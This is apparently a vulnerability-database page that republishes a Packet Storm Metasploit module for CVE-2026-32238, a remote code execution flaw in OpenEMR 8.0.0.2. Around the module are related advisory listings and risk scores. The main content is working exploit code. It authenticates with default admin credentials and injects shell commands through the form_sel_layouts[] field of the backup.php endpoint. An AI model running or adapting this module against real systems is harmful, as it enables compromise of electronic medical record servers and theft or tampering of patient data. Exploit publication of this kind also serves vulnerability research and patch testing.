Lucene search
K

📄 OpenEMR 8.0.0.2 Remote Code Execution

🗓️ 20 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 76 Views

OpenEMR 8.0.0.2 remote code execution via CVE-2026-32238 using a Metasploit module.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-32238
19 Mar 202619:30
attackerkb
Circl
CVE-2026-32238
19 Mar 202619:16
circl
CNNVD
OpenEMR 操作系统命令注入漏洞
19 Mar 202600:00
cnnvd
CVE
CVE-2026-32238
19 Mar 202619:30
cve
Cvelist
CVE-2026-32238 OpenEMR has Remote Code Execution in backup functionality
19 Mar 202619:30
cvelist
EUVD
EUVD-2026-13158
19 Mar 202619:30
euvd
NVD
CVE-2026-32238
19 Mar 202620:16
nvd
OSV
CVE-2026-32238 OpenEMR has Remote Code Execution in backup functionality
19 Mar 202619:30
osv
Packet Storm
📄 OpenEMR Remote Code Execution
20 Mar 202600:00
packetstorm
Positive Technologies
PT-2026-26288
19 Mar 202600:00
ptsecurity
Rows per page
==================================================================================================================================
    | # Title     : OpenEMR 8.0.0.2 Remote Code Execution Module                                                                     |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.open-emr.org/wiki/index.php/OpenEMR_Downloads                                                        |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit exploit module targets a potential Remote Code Execution (RCE) vulnerability in OpenEMR systems identified as CVE-2026-32238. 
                     The module combines authentication handling, HTTP request manipulation, and command injection capabilities to achieve remote command execution on vulnerable installations.
    
    [+] POC        :  
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(update_info(info,
          'Name' => 'OpenEMR CVE-2026-32238 RCE ',
          'Description' => 'Remote Code Execution Module',
          'Author' => ['indoushka'],
          'License' => MSF_LICENSE
        ))
    
        register_options([
          Opt::RPORT(443),
          OptBool.new('SSL', [true, 'SSL', true]),
          OptString.new('TARGETURI', [true, 'Path', '/openemr/']),
          OptString.new('USERNAME', [true, 'User', 'admin']),
          OptString.new('PASSWORD', [true, 'Pass', 'admin']),
          OptInt.new('TIMEOUT', [true, 'Timeout', 10])
        ])
    
        @cookie = nil
      end
    
      def uri(path)
        normalize_uri(datastore['TARGETURI'], path)
      end
    
      def authenticate
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => uri('interface/main/main_screen.php'),
          'vars_post' => {
            'authUser' => datastore['USERNAME'],
            'clearPass' => datastore['PASSWORD']
          },
          'timeout' => datastore['TIMEOUT']
        })
    
        return false unless res
    
        if res.get_cookies =~ /OpenEMR=([^;]+)/
          @cookie = "OpenEMR=#{$1}"
          return true
        end
    
        false
      end
    
      def inject(cmd)
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => uri('interface/main/backup.php'),
          'cookie' => @cookie,
          'vars_post' => {
            'form_step' => '102',
            'form_sel_layouts[]' => cmd
          },
          'timeout' => datastore['TIMEOUT']
        })
    
        res && res.code == 200
      end
    
      def execute_command(cmd, _opts = {})
        payload = "LBF\"';#{cmd} #"
    
        print_status("Injecting: #{cmd}")
    
        unless inject(payload)
          fail_with(Failure::NotVulnerable, 'Injection failed')
        end
      end
    
      def exploit
        unless authenticate
          fail_with(Failure::NoAccess, 'Auth failed')
        end
    
        print_status("Target: #{rhost}")
    
        execute_command(payload.encoded)
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Apr 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.1
EPSS0.01889
SSVC
76